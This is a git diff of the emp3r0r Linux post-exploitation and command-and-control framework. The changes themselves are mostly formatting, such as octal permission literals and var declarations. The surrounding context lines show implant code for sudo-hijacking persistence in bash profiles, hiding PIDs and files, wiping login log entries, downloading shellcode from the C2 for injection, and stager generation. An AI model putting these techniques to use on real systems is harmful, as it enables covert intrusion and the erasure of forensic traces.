diff --git a/core/cmd/agent/main.go b/core/cmd/agent/main.go index 71244506b..bbba79a82 100644 --- a/core/cmd/agent/main.go +++ b/core/cmd/agent/main.go @@ -54,7 +54,7 @@ func main() { } else if !runElvsh { // silent! log.SetOutput(io.Discard) - null_file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0644) + null_file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0o644) if err != nil { log.Fatalf("[-] Cannot open %s: %v", os.DevNull, err) } @@ -166,7 +166,7 @@ func main() { // use absolute path // TODO find a better location for temp files if !util.IsExist(agent.RuntimeConfig.UtilsPath) { - err = os.MkdirAll(agent.RuntimeConfig.UtilsPath, 0700) + err = os.MkdirAll(agent.RuntimeConfig.UtilsPath, 0o700) if err != nil { log.Fatalf("[-] Cannot mkdir %s: %v", agent.RuntimeConfig.AgentRoot, err) } @@ -306,7 +306,7 @@ test_agent: // agent root if !util.IsExist(agent.RuntimeConfig.AgentRoot) { - err = os.MkdirAll(agent.RuntimeConfig.AgentRoot, 0700) + err = os.MkdirAll(agent.RuntimeConfig.AgentRoot, 0o700) if err != nil { log.Printf("MkdirAll %s: %v", agent.RuntimeConfig.AgentRoot, err) } diff --git a/core/cmd/cc/main.go b/core/cmd/cc/main.go index ff24e8f94..d19c8c823 100644 --- a/core/cmd/cc/main.go +++ b/core/cmd/cc/main.go @@ -123,7 +123,7 @@ func main() { } go func() { defer cc.CliPrintError("session unexpectedly exited, please restart emp3r0r") - var SSHConnections = make(map[string]context.CancelFunc, 10) + SSHConnections := make(map[string]context.CancelFunc, 10) pubkey, err := tun.SSHPublicKey(cc.RuntimeConfig.SSHHostKey) if err != nil { cc.CliFatalError("Parsing SSHPublicKey: %v", err) @@ -147,7 +147,7 @@ func main() { // start cdn2proxy server if *cdnproxy != "" { go func() { - logFile, err := os.OpenFile("/tmp/ws.log", os.O_CREATE|os.O_RDWR, 0600) + logFile, err := os.OpenFile("/tmp/ws.log", os.O_CREATE|os.O_RDWR, 0o600) if err != nil { cc.CliFatalError("OpenFile: %v", err) } diff --git a/core/lib/agent/bash.go b/core/lib/agent/bash.go index 869cc9d40..57a52a4b2 100644 --- a/core/lib/agent/bash.go +++ b/core/lib/agent/bash.go @@ -15,13 +15,13 @@ import ( // ExtractBash extract embedded bash binary and configure our bash shell func ExtractBash() error { if !util.IsExist(RuntimeConfig.UtilsPath) { - err := os.MkdirAll(RuntimeConfig.UtilsPath, 0700) + err := os.MkdirAll(RuntimeConfig.UtilsPath, 0o700) if err != nil { log.Fatalf("[-] Cannot mkdir %s: %v", RuntimeConfig.AgentRoot, err) } } - err := os.WriteFile(RuntimeConfig.UtilsPath+"/.bashrc", []byte(file.BashRC), 0600) + err := os.WriteFile(RuntimeConfig.UtilsPath+"/.bashrc", []byte(file.BashRC), 0o600) if err != nil { log.Printf("Write bashrc: %v", err) } diff --git a/core/lib/agent/broadcast.go b/core/lib/agent/broadcast.go index 33f8b6f7e..93c2d55ee 100644 --- a/core/lib/agent/broadcast.go +++ b/core/lib/agent/broadcast.go @@ -20,9 +20,8 @@ var ReverseConns = make(map[string]context.CancelFunc) // BroadcastServer listen on a UDP port for broadcasts // wait for some other agents to announce their internet proxy func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string) (err error) { - var ( - passProxyCnt int // one time only - ) + var passProxyCnt int // one time only + defer cancel() bindaddr := ":" + port if port == "" { diff --git a/core/lib/agent/ccHandler.go b/core/lib/agent/ccHandler.go index 2228fa796..a5d5fae75 100644 --- a/core/lib/agent/ccHandler.go +++ b/core/lib/agent/ccHandler.go @@ -158,7 +158,7 @@ func processCCData(data *emp3r0r_data.MsgTunData) { path := strings.Join(cmdSlice[1:], " ") out = "Mkdir " + path - if err = os.MkdirAll(path, 0700); err != nil { + if err = os.MkdirAll(path, 0o700); err != nil { out = fmt.Sprintf("Failed to mkdir %s: %v", path, err) } sendResponse(out) diff --git a/core/lib/agent/getroot.go b/core/lib/agent/getroot.go index a3b1836db..125f7baee 100644 --- a/core/lib/agent/getroot.go +++ b/core/lib/agent/getroot.go @@ -24,7 +24,7 @@ func CopySelfTo(dest_file string) (err error) { // mkdir -p if directory not found dest_dir := strings.Join(strings.Split(dest_file, "/")[:len(strings.Split(dest_file, "/"))-1], "/") if !util.IsExist(dest_dir) { - err = os.MkdirAll(dest_dir, 0700) + err = os.MkdirAll(dest_dir, 0o700) if err != nil { return } @@ -35,7 +35,7 @@ func CopySelfTo(dest_file string) (err error) { os.RemoveAll(dest_file) } - return os.WriteFile(dest_file, elf_data, 0755) + return os.WriteFile(dest_file, elf_data, 0o755) } func GetRoot() error { diff --git a/core/lib/agent/injector.go b/core/lib/agent/injector.go index 289439ca7..0712e45cc 100644 --- a/core/lib/agent/injector.go +++ b/core/lib/agent/injector.go @@ -101,7 +101,7 @@ func prepare_loader_so(pid int, bin string) (so_path string, err error) { if err != nil { return "", fmt.Errorf("Extract loader.so failed: %v", err) } - err = os.WriteFile(so_path, out, 0644) + err = os.WriteFile(so_path, out, 0o644) if err != nil { return "", fmt.Errorf("Write loader.so failed: %v", err) } @@ -161,7 +161,6 @@ func prepare_shared_lib() (path string, err error) { // prepare the shellcode func prepare_sc(pid int) (shellcode string, shellcodeLen int) { sc, err := DownloadViaCC("shellcode.txt", "") - if err != nil { log.Printf("Failed to download shellcode.txt from CC: %v", err) // prepare guardian_shellcode @@ -185,7 +184,6 @@ func prepare_sc(pid int) (shellcode string, shellcodeLen int) { // InjectorHandler handles `injector` module func InjectorHandler(pid int, method string) (err error) { - // dispatch switch method { diff --git a/core/lib/agent/mod.go b/core/lib/agent/mod.go index 4637ec00d..dae68f4b8 100644 --- a/core/lib/agent/mod.go +++ b/core/lib/agent/mod.go @@ -63,7 +63,7 @@ func moduleHandler(modName, checksum string) (out string) { return fmt.Sprintf("Processing module files: %v", err) } for _, f := range files { - os.Chmod(f.Name(), 0700) + os.Chmod(f.Name(), 0o700) if util.IsExist(libs_tarball) { os.RemoveAll("libs") err = archiver.Unarchive(libs_tarball, "./") diff --git a/core/lib/agent/osinfo_linux.go b/core/lib/agent/osinfo_linux.go index cb32c4819..d0b29e37e 100644 --- a/core/lib/agent/osinfo_linux.go +++ b/core/lib/agent/osinfo_linux.go @@ -58,7 +58,7 @@ func genOSRelease() { // CentOS 6.x if release := slurpFile("/etc/centos-release"); release != "" { if m := reCentOS6.FindStringSubmatch(release); m != nil { - spewFile(osReleaseFile, fmt.Sprintf(centOS6Template, m[1], m[1]), 0666) + spewFile(osReleaseFile, fmt.Sprintf(centOS6Template, m[1], m[1]), 0o666) return } } @@ -75,7 +75,7 @@ func genOSRelease() { case 2: version = m[1] } - spewFile(osReleaseFile, fmt.Sprintf(redhat6Template, version, code_name, version, version), 0666) + spewFile(osReleaseFile, fmt.Sprintf(redhat6Template, version, code_name, version, version), 0o666) return } } diff --git a/core/lib/agent/persistence.go b/core/lib/agent/persistence.go index 133afc669..71d410b0b 100644 --- a/core/lib/agent/persistence.go +++ b/core/lib/agent/persistence.go @@ -169,7 +169,7 @@ func profiles() (err error) { } sudoPayload := strings.Join(sudoLocs, "||") loader += fmt.Sprintf("\nfunction sudo() { /usr/bin/sudo $@; (set +m;((%s) 2>/dev/null)) }", sudoPayload) - err = os.WriteFile(bashprofile, []byte(loader), 0644) + err = os.WriteFile(bashprofile, []byte(loader), 0o644) if err != nil { return } @@ -204,7 +204,7 @@ func AddCronJob(job string) error { func HidePIDs() (err error) { // mkdir if !util.IsDirExist("/usr/share/at") { - os.MkdirAll("/usr/share/at", 0755) + os.MkdirAll("/usr/share/at", 0o755) } pids := make([]int, 0) @@ -241,7 +241,7 @@ func HidePIDs() (err error) { pids = util.RemoveDupsFromArray(pids) pid_list_str := strings.Join(util.IntArrayToStringArray(pids), "\n") - err = os.WriteFile(Hidden_PIDs, []byte(pid_list_str), 0644) + err = os.WriteFile(Hidden_PIDs, []byte(pid_list_str), 0o644) if err != nil { return } @@ -266,7 +266,7 @@ func patcher() (err error) { util.FileBaseName(RuntimeConfig.AgentRoot), util.FileBaseName(Hidden_Files), util.FileBaseName(Hidden_PIDs)) - err = os.WriteFile(Hidden_Files, []byte(files), 0644) + err = os.WriteFile(Hidden_Files, []byte(files), 0o644) if err != nil { log.Printf("Cannot create %s: %v", Hidden_Files, err) } diff --git a/core/lib/agent/poll.go b/core/lib/agent/poll.go index 901f68139..efc6584c5 100644 --- a/core/lib/agent/poll.go +++ b/core/lib/agent/poll.go @@ -91,9 +91,7 @@ func catchInterruptAndExit(cancel context.CancelFunc) { // ConnectCC connect to CC with h2conn func ConnectCC(url string) (conn *h2conn.Conn, ctx context.Context, cancel context.CancelFunc, err error) { - var ( - resp *http.Response - ) + var resp *http.Response defer func() { if conn == nil { err = fmt.Errorf("ConnectCC at %s failed", url) @@ -104,7 +102,8 @@ func ConnectCC(url string) (conn *h2conn.Conn, ctx context.Context, cancel conte // use h2conn for duplex tunnel ctx, cancel = context.WithCancel(context.Background()) - h2 := h2conn.Client{Client: emp3r0r_data.HTTPClient, + h2 := h2conn.Client{ + Client: emp3r0r_data.HTTPClient, Header: http.Header{ "AgentUUID": {RuntimeConfig.AgentUUID}, "AgentUUIDSig": {RuntimeConfig.AgentUUIDSig}, @@ -271,7 +270,6 @@ func CCMsgTun(ctx context.Context, cancel context.CancelFunc) (err error) { // set C2Transport func setC2Transport() { - if tun.IsTor(emp3r0r_data.CCAddress) { emp3r0r_data.Transport = fmt.Sprintf("TOR (%s)", emp3r0r_data.CCAddress) return diff --git a/core/lib/agent/proc.go b/core/lib/agent/proc.go index 6cc174d0e..e3d3c0d81 100644 --- a/core/lib/agent/proc.go +++ b/core/lib/agent/proc.go @@ -24,7 +24,7 @@ func CheckAgentProcess() *emp3r0r_data.AgentProcess { func IsAgentRunningPID() (bool, int) { defer func() { myPIDText := strconv.Itoa(os.Getpid()) - if err := os.WriteFile(RuntimeConfig.PIDFile, []byte(myPIDText), 0600); err != nil { + if err := os.WriteFile(RuntimeConfig.PIDFile, []byte(myPIDText), 0o600); err != nil { log.Printf("Write RuntimeConfig.PIDFile: %v", err) } }() diff --git a/core/lib/agent/proc_linux.go b/core/lib/agent/proc_linux.go index 94a1cd97f..5f18619a7 100644 --- a/core/lib/agent/proc_linux.go +++ b/core/lib/agent/proc_linux.go @@ -45,7 +45,7 @@ func CopyProcExeTo(pid int, dest_path string) (err error) { os.RemoveAll(dest_path) } - return os.WriteFile(dest_path, elf_data, 0755) + return os.WriteFile(dest_path, elf_data, 0o755) } // rename agent process by modifying its argv, all cmdline args are dropped diff --git a/core/lib/agent/proxy.go b/core/lib/agent/proxy.go index 8ecbc45b8..97e415b00 100644 --- a/core/lib/agent/proxy.go +++ b/core/lib/agent/proxy.go @@ -136,10 +136,9 @@ func PortFwd(addr, sessionID, protocol string, reverse bool, timeout int) (err e // start a local listener on agent, forward connections to CC func listenAndFwd(ctx context.Context, cancel context.CancelFunc, - port, sessionID string) { - var ( - err error - ) + port, sessionID string, +) { + var err error // serve a TCP connection received on agent side serveConn := func(conn net.Conn) { diff --git a/core/lib/agent/ss.go b/core/lib/agent/ss.go index d722b8d1f..225585218 100644 --- a/core/lib/agent/ss.go +++ b/core/lib/agent/ss.go @@ -30,7 +30,7 @@ func ShadowsocksC2Client() { local_socks_addr := "127.0.0.1:" + RuntimeConfig.ShadowsocksPort // start ss - var ss_config = &ss.SSConfig{ + ss_config := &ss.SSConfig{ ServerAddr: server_addr, LocalSocksAddr: local_socks_addr, Cipher: ss.AEADCipher, diff --git a/core/lib/agent/util.go b/core/lib/agent/util.go index 145ed4680..fc249e240 100644 --- a/core/lib/agent/util.go +++ b/core/lib/agent/util.go @@ -68,7 +68,7 @@ func IsAgentAlive(c net.Conn) bool { // Send2CC send TunData to CC func Send2CC(data *emp3r0r_data.MsgTunData) error { - var out = json.NewEncoder(emp3r0r_data.CCMsgConn) + out := json.NewEncoder(emp3r0r_data.CCMsgConn) err := out.Encode(data) if err != nil { @@ -153,7 +153,7 @@ func Upgrade(checksum string) (out string) { if checksum != download_checksum { return fmt.Sprintf("Error: checksum mismatch: %s expected, got %s", checksum, download_checksum) } - err = os.Chmod(tempfile, 0755) + err = os.Chmod(tempfile, 0o755) if err != nil { return fmt.Sprintf("Error: chmod %s: %v", tempfile, err) } diff --git a/core/lib/agent/vaccine.go b/core/lib/agent/vaccine.go index 5fc31e5ea..3b42bc349 100644 --- a/core/lib/agent/vaccine.go +++ b/core/lib/agent/vaccine.go @@ -54,7 +54,7 @@ func VaccineHandler() (out string) { // unpack utils.tar.xz to our PATH os.RemoveAll(RuntimeConfig.UtilsPath) // archiver fucking aborts when files already exist if !util.IsExist(RuntimeConfig.UtilsPath) { - if err = os.MkdirAll(RuntimeConfig.UtilsPath, 0700); err != nil { + if err = os.MkdirAll(RuntimeConfig.UtilsPath, 0o700); err != nil { log.Print(err) return fmt.Sprintf("mkdir: %v", err) } @@ -88,7 +88,7 @@ func VaccineHandler() (out string) { defer os.Remove(PythonArchive) // create launchers - err = os.WriteFile(RuntimeConfig.UtilsPath+"/python", []byte(PythonLauncher), 0755) + err = os.WriteFile(RuntimeConfig.UtilsPath+"/python", []byte(PythonLauncher), 0o755) if err != nil { out = fmt.Sprintf("Write python launcher: %v", err) } diff --git a/core/lib/agent/xtmp.go b/core/lib/agent/xtmp.go index 5127fda58..d0fc9d431 100644 --- a/core/lib/agent/xtmp.go +++ b/core/lib/agent/xtmp.go @@ -51,7 +51,7 @@ func deleteXtmpEntry(keyword string) (err error) { } // save new file as xtmp.tmp, users need to rename it manually, in case the file is corrupted - newXtmp, err := os.OpenFile(path+".tmp", os.O_CREATE|os.O_RDWR, 0664) + newXtmp, err := os.OpenFile(path+".tmp", os.O_CREATE|os.O_RDWR, 0o664) if err != nil { return fmt.Errorf("Failed to open temp xtmp: %v", err) } @@ -100,5 +100,5 @@ func deleteAuthEntry(keyword string) (err error) { new_content += line + "\n" } } - return os.WriteFile(path, []byte(new_content), 0644) + return os.WriteFile(path, []byte(new_content), 0o644) } diff --git a/core/lib/cc/agentHandler.go b/core/lib/cc/agentHandler.go index 8820b892a..108d11fbe 100644 --- a/core/lib/cc/agentHandler.go +++ b/core/lib/cc/agentHandler.go @@ -3,7 +3,6 @@ package cc - import ( "encoding/json" "fmt" diff --git a/core/lib/cc/api_server.go b/core/lib/cc/api_server.go index c736815fd..e1ebd14f8 100644 --- a/core/lib/cc/api_server.go +++ b/core/lib/cc/api_server.go @@ -3,7 +3,6 @@ package cc - import ( "log" "net" diff --git a/core/lib/cc/bash_stager.go b/core/lib/cc/bash_stager.go index 144fd9bc4..4ce522400 100644 --- a/core/lib/cc/bash_stager.go +++ b/core/lib/cc/bash_stager.go @@ -3,7 +3,6 @@ package cc - import ( "encoding/base64" "fmt" diff --git a/core/lib/cc/buildAgent.go b/core/lib/cc/buildAgent.go index 87903f172..7ca3ff0cf 100644 --- a/core/lib/cc/buildAgent.go +++ b/core/lib/cc/buildAgent.go @@ -101,7 +101,7 @@ func save_config_json() (err error) { return fmt.Errorf("Saving %s: %v", EmpConfigFile, err) } - return os.WriteFile(EmpConfigFile, w_data, 0600) + return os.WriteFile(EmpConfigFile, w_data, 0o600) } func InitConfigFile(cc_host string) (err error) { diff --git a/core/lib/cc/cc.go b/core/lib/cc/cc.go index 7062981d7..a021afe9a 100644 --- a/core/lib/cc/cc.go +++ b/core/lib/cc/cc.go @@ -170,15 +170,19 @@ func ListTargets() { "IPs": ips, } - var row = []string{index, label, util.SplitLongLine(target.Tag, 15), - infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"]} + row := []string{ + index, label, util.SplitLongLine(target.Tag, 15), + infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"], + } // is this agent currently selected? if CurrentTarget != nil { if CurrentTarget.Tag == target.Tag { index = color.New(color.FgHiGreen, color.Bold).Sprintf("%d", control.Index) - row = []string{index, label, util.SplitLongLine(target.Tag, 15), - infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"]} + row = []string{ + index, label, util.SplitLongLine(target.Tag, 15), + infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"], + } // put this row at bottom, so it's always visible tail = row @@ -420,7 +424,7 @@ outter: } // write file - err = os.WriteFile(AgentsJSON, data, 0600) + err = os.WriteFile(AgentsJSON, data, 0o600) if err != nil { CliPrintWarning("Saving labeled agents: %v", err) } @@ -505,7 +509,7 @@ func InitConfig() (err error) { FileGetDir = EmpWorkSpace + "/file-get/" EmpConfigFile = EmpWorkSpace + "/emp3r0r.json" if !util.IsDirExist(EmpWorkSpace) { - err = os.MkdirAll(FileGetDir, 0700) + err = os.MkdirAll(FileGetDir, 0o700) if err != nil { return fmt.Errorf("mkdir %s: %v", EmpWorkSpace, err) } diff --git a/core/lib/cc/cli.go b/core/lib/cc/cli.go index 3f2c3fa9f..863867b3b 100644 --- a/core/lib/cc/cli.go +++ b/core/lib/cc/cli.go @@ -539,9 +539,11 @@ func CliListOptions() { } tdata = append(tdata, - []string{util.SplitLongLine(k, 20), + []string{ + util.SplitLongLine(k, 20), util.SplitLongLine(help, 20), - util.SplitLongLine(v, 20)}) + util.SplitLongLine(v, 20), + }) } table.AppendBulk(tdata) table.Render() diff --git a/core/lib/cc/cmd.go b/core/lib/cc/cmd.go index 805f54cab..251bb6347 100644 --- a/core/lib/cc/cmd.go +++ b/core/lib/cc/cmd.go @@ -79,8 +79,10 @@ var CmdFuncsWithArgs = map[string]func(string){ } // CmdTime Record the time spent on each command -var CmdTime = make(map[string]string) -var CmdTimeMutex = &sync.Mutex{} +var ( + CmdTime = make(map[string]string) + CmdTimeMutex = &sync.Mutex{} +) const HELP = "help" // fuck goconst diff --git a/core/lib/cc/config.go b/core/lib/cc/config.go index 3b782fcd9..a517cc48a 100644 --- a/core/lib/cc/config.go +++ b/core/lib/cc/config.go @@ -3,7 +3,6 @@ package cc - import ( emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data" ) diff --git a/core/lib/cc/filemgr.go b/core/lib/cc/filemgr.go index 959a9552c..fe3192b4b 100644 --- a/core/lib/cc/filemgr.go +++ b/core/lib/cc/filemgr.go @@ -3,7 +3,6 @@ package cc - import ( "fmt" "strings" diff --git a/core/lib/cc/ftp.go b/core/lib/cc/ftp.go index b4982f73a..27d5f247b 100644 --- a/core/lib/cc/ftp.go +++ b/core/lib/cc/ftp.go @@ -3,7 +3,6 @@ package cc - import ( "encoding/json" "fmt" @@ -86,7 +85,7 @@ func PutFile(lpath, rpath string, a *emp3r0r_data.AgentSystemInfo) error { // GetFile get file from agent func GetFile(filepath string, a *emp3r0r_data.AgentSystemInfo) error { if !util.IsExist(FileGetDir) { - err := os.MkdirAll(FileGetDir, 0700) + err := os.MkdirAll(FileGetDir, 0o700) if err != nil { return fmt.Errorf("GetFile mkdir %s: %v", FileGetDir, err) } diff --git a/core/lib/cc/kcp.go b/core/lib/cc/kcp.go index 3baa90b18..34440da3c 100644 --- a/core/lib/cc/kcp.go +++ b/core/lib/cc/kcp.go @@ -3,7 +3,6 @@ package cc - import ( "crypto/sha256" "fmt" diff --git a/core/lib/cc/modGenAgent.go b/core/lib/cc/modGenAgent.go index 70636bc84..82ba96d7f 100644 --- a/core/lib/cc/modGenAgent.go +++ b/core/lib/cc/modGenAgent.go @@ -133,7 +133,7 @@ func modGenAgent() { return } // write - err = os.WriteFile(outfile, toWrite, 0755) + err = os.WriteFile(outfile, toWrite, 0o755) if err != nil { CliPrintError("Save agent binary %s: %v", outfile, err) return @@ -162,7 +162,7 @@ func modGenAgent() { toWrite = append(packed_bin_data, sep...) toWrite = append(toWrite, encryptedJSONBytes...) toWrite = append(toWrite, sep...) - err = os.WriteFile(packed_file, toWrite, 0755) + err = os.WriteFile(packed_file, toWrite, 0o755) if err != nil { CliPrintError("Failed to save final agent binary: %v", err) return diff --git a/core/lib/cc/modRproxy.go b/core/lib/cc/modRproxy.go index cb9dec5f1..47ca4a42b 100644 --- a/core/lib/cc/modRproxy.go +++ b/core/lib/cc/modRproxy.go @@ -3,7 +3,6 @@ package cc - import ( "fmt" diff --git a/core/lib/cc/mod_gdb.go b/core/lib/cc/mod_gdb.go index 9af72d110..07a021199 100644 --- a/core/lib/cc/mod_gdb.go +++ b/core/lib/cc/mod_gdb.go @@ -3,7 +3,6 @@ package cc - import ( "context" "fmt" diff --git a/core/lib/cc/modcustom.go b/core/lib/cc/modcustom.go index e68b4ec2b..583f9b9c5 100644 --- a/core/lib/cc/modcustom.go +++ b/core/lib/cc/modcustom.go @@ -3,7 +3,6 @@ package cc - import ( "encoding/json" "fmt" @@ -80,7 +79,7 @@ func moduleCustom() { if config.IsInteractive { // empty out start.sh // we will run the module as shell - err = os.WriteFile(start_sh, []byte("echo emp3r0r-interactive-module\n"), 0600) + err = os.WriteFile(start_sh, []byte("echo emp3r0r-interactive-module\n"), 0o600) if err != nil { CliPrintError("write %s: %v", start_sh, err) return @@ -186,7 +185,7 @@ func ModuleDetails(modName string) { // and update ModuleHelpers, ModuleDocs func InitModules() { if !util.IsExist(WWWRoot) { - os.MkdirAll(WWWRoot, 0700) + os.MkdirAll(WWWRoot, 0o700) } // get vaccine ready @@ -241,7 +240,6 @@ func InitModules() { for name, comment := range emp3r0r_data.ModuleComments { ModuleNames = append(ModuleNames, fmt.Sprintf("%s: %s", color.HiBlueString(name), comment)) } - } // read from every defined module dir @@ -261,7 +259,7 @@ func readModCondig(file string) (pconfig *ModConfig, err error) { } // parse the json - var config = ModConfig{} + config := ModConfig{} err = json.Unmarshal(jsonData, &config) if err != nil { return nil, fmt.Errorf("failed to unmarshal JSON config: %v", err) @@ -279,7 +277,7 @@ func genStartScript(config *ModConfig, outfile string) (err error) { data = fmt.Sprintf("%s ./%s ", data, config.Exec) // run with environment vars // write config.json - return os.WriteFile(outfile, []byte(data), 0600) + return os.WriteFile(outfile, []byte(data), 0o600) } func updateModuleHelp(config *ModConfig) error { diff --git a/core/lib/cc/modgetroot.go b/core/lib/cc/modgetroot.go index 9cdde952a..4f91b6316 100644 --- a/core/lib/cc/modgetroot.go +++ b/core/lib/cc/modgetroot.go @@ -3,7 +3,6 @@ package cc - import ( "fmt" diff --git a/core/lib/cc/modinjector.go b/core/lib/cc/modinjector.go index 31bab6c53..a141d8566 100644 --- a/core/lib/cc/modinjector.go +++ b/core/lib/cc/modinjector.go @@ -3,7 +3,6 @@ package cc - import ( "fmt" diff --git a/core/lib/cc/modmisc.go b/core/lib/cc/modmisc.go index a7bc191fe..2a89d4f79 100644 --- a/core/lib/cc/modmisc.go +++ b/core/lib/cc/modmisc.go @@ -3,7 +3,6 @@ package cc - import ( "fmt" diff --git a/core/lib/cc/modportfwd.go b/core/lib/cc/modportfwd.go index fb086e643..3aaac1a32 100644 --- a/core/lib/cc/modportfwd.go +++ b/core/lib/cc/modportfwd.go @@ -3,7 +3,6 @@ package cc - import ( "context" "fmt" @@ -66,7 +65,7 @@ func moduleProxy() { status := Options["status"].Val // port-fwd - var pf = new(PortFwdSession) + pf := new(PortFwdSession) pf.Ctx, pf.Cancel = context.WithCancel(context.Background()) pf.Lport, pf.To = port, "127.0.0.1:"+RuntimeConfig.AutoProxyPort pf.Description = fmt.Sprintf("Agent Proxy (TCP):\n%s (Local) -> %s (Agent)", pf.Lport, pf.To) @@ -74,7 +73,7 @@ func moduleProxy() { pf.Timeout = RuntimeConfig.AutoProxyTimeout // udp port fwd - var pfu = new(PortFwdSession) + pfu := new(PortFwdSession) pfu.Ctx, pfu.Cancel = context.WithCancel(context.Background()) pfu.Lport, pfu.To = port, "127.0.0.1:"+RuntimeConfig.AutoProxyPort pfu.Description = fmt.Sprintf("Agent Proxy (UDP):\n%s (Local) -> %s (Agent)", pfu.Lport, pfu.To) diff --git a/core/lib/cc/modshell.go b/core/lib/cc/modshell.go index 6408c3a22..7a7bfabfe 100644 --- a/core/lib/cc/modshell.go +++ b/core/lib/cc/modshell.go @@ -3,7 +3,6 @@ package cc - import ( emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data" ) diff --git a/core/lib/cc/modssh_harvester.go b/core/lib/cc/modssh_harvester.go index 6956b6eb8..86a233aea 100644 --- a/core/lib/cc/modssh_harvester.go +++ b/core/lib/cc/modssh_harvester.go @@ -3,7 +3,6 @@ package cc - import emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data" func module_ssh_harvester() { diff --git a/core/lib/cc/modstage.go b/core/lib/cc/modstage.go index 4ae2ed115..a4445f1c2 100644 --- a/core/lib/cc/modstage.go +++ b/core/lib/cc/modstage.go @@ -3,7 +3,6 @@ package cc - import ( "context" "encoding/base64" @@ -61,7 +60,7 @@ func modStager() { switch chosen_stager { case "linux/bash": stager_data := bash_http_b64_download_exec(url) - err = os.WriteFile(stager_filename, stager_data, 0600) + err = os.WriteFile(stager_filename, stager_data, 0o600) if err != nil { CliPrintError("Failed to save stager data: %v", err) return @@ -77,7 +76,7 @@ func modStager() { return } enc_agent_bin_data = []byte(base64.StdEncoding.EncodeToString(agent_bin_data)) - err = os.WriteFile(enc_agent_bin_path, enc_agent_bin_data, 0600) + err = os.WriteFile(enc_agent_bin_path, enc_agent_bin_data, 0o600) if err != nil { CliPrintError("Write base64 encoded agent binary: %v", err) return @@ -88,7 +87,7 @@ func modStager() { // serve agent binary case "python": stager_data := python_http_xor_download_exec(agent_bin_path, url) - err = os.WriteFile(stager_filename, stager_data, 0600) + err = os.WriteFile(stager_filename, stager_data, 0o600) if err != nil { CliPrintError("Failed to save stager data: %v", err) return diff --git a/core/lib/cc/modvaccine.go b/core/lib/cc/modvaccine.go index b09b08ad0..d77702351 100644 --- a/core/lib/cc/modvaccine.go +++ b/core/lib/cc/modvaccine.go @@ -3,7 +3,6 @@ package cc - import ( "fmt" "os" diff --git a/core/lib/cc/proxy.go b/core/lib/cc/proxy.go index 5eaa66907..7aab9078f 100644 --- a/core/lib/cc/proxy.go +++ b/core/lib/cc/proxy.go @@ -3,7 +3,6 @@ package cc - import ( "context" "encoding/json" @@ -140,7 +139,8 @@ func ListPortFwds() { to, util.SplitLongLine(portmap.Agent.Tag, 10), util.SplitLongLine(portmap.Description, 10), - util.SplitLongLine(id, 10)}) + util.SplitLongLine(id, 10), + }) } // rendor table @@ -423,7 +423,6 @@ func (pf *PortFwdSession) RunPortFwd() (err error) { CliPrintError("Write to H2: %v", err) } CliPrintDebug("%s sent %d bytes to H2", udp_client_addr.String(), n) - } // receive TCP/UDP packets from local port diff --git a/core/lib/cc/python_stager.go b/core/lib/cc/python_stager.go index 356cd22a6..aa27df813 100644 --- a/core/lib/cc/python_stager.go +++ b/core/lib/cc/python_stager.go @@ -24,7 +24,7 @@ func python_http_xor_download_exec(agent_bin_path, url string) (ret []byte) { return } enc_bin := tun.XOREncrypt(key, fdata) - err = os.WriteFile(fmt.Sprintf("%s.enc", agent_bin_path), enc_bin, 0600) + err = os.WriteFile(fmt.Sprintf("%s.enc", agent_bin_path), enc_bin, 0o600) if err != nil { CliPrintError("Saving XOR encryped agent binary: %v", err) return diff --git a/core/lib/cc/screenshot.go b/core/lib/cc/screenshot.go index e25b7effc..8c10eab94 100644 --- a/core/lib/cc/screenshot.go +++ b/core/lib/cc/screenshot.go @@ -3,7 +3,6 @@ package cc - import ( "fmt" "os" diff --git a/core/lib/cc/server.go b/core/lib/cc/server.go index 7eaf51f6a..e684f7bbc 100644 --- a/core/lib/cc/server.go +++ b/core/lib/cc/server.go @@ -34,7 +34,7 @@ import ( // the same Shadowsocks server on any host that you find convenient func ShadowsocksServer() { ctx, cancel := context.WithCancel(context.Background()) - var ss_config = &ss.SSConfig{ + ss_config := &ss.SSConfig{ ServerAddr: "0.0.0.0:" + RuntimeConfig.ShadowsocksPort, LocalSocksAddr: "", Cipher: ss.AEADCipher, @@ -60,7 +60,7 @@ var ( // TLSServer start HTTPS server func TLSServer() { if _, err := os.Stat(Temp + tun.WWW); os.IsNotExist(err) { - err = os.MkdirAll(Temp+tun.WWW, 0700) + err = os.MkdirAll(Temp+tun.WWW, 0o700) if err != nil { CliFatalError("TLSServer: %v", err) } @@ -273,7 +273,7 @@ func (sh *StreamHandler) ftpHandler(wrt http.ResponseWriter, req *http.Request) // FileGetDir if !util.IsExist(FileGetDir) { - err = os.MkdirAll(FileGetDir, 0700) + err = os.MkdirAll(FileGetDir, 0o700) if err != nil { CliPrintError("mkdir -p %s: %v", FileGetDir, err) return @@ -286,7 +286,7 @@ func (sh *StreamHandler) ftpHandler(wrt http.ResponseWriter, req *http.Request) nowSize := util.FileSize(filewrite) // open file for writing - f, err := os.OpenFile(filewrite, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600) + f, err := os.OpenFile(filewrite, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0o600) if err != nil { CliPrintError("ftpHandler write file: %v", err) } @@ -590,7 +590,7 @@ func checkinHandler(wrt http.ResponseWriter, req *http.Request) { // msgTunHandler JSON message based (C&C) tunnel between agent and cc func msgTunHandler(wrt http.ResponseWriter, req *http.Request) { // updated on each successful handshake - var last_handshake = time.Now() + last_handshake := time.Now() // use h2conn conn, err := h2conn.Accept(wrt, req) diff --git a/core/lib/cc/sftp.go b/core/lib/cc/sftp.go index 6decead60..6829a6173 100644 --- a/core/lib/cc/sftp.go +++ b/core/lib/cc/sftp.go @@ -3,7 +3,6 @@ package cc - func OpenFileManager() { err := SSHClient("sftp", "", RuntimeConfig.SSHDShellPort, false) if err != nil { diff --git a/core/lib/cc/ssh.go b/core/lib/cc/ssh.go index 71da8eb53..7c20369c1 100644 --- a/core/lib/cc/ssh.go +++ b/core/lib/cc/ssh.go 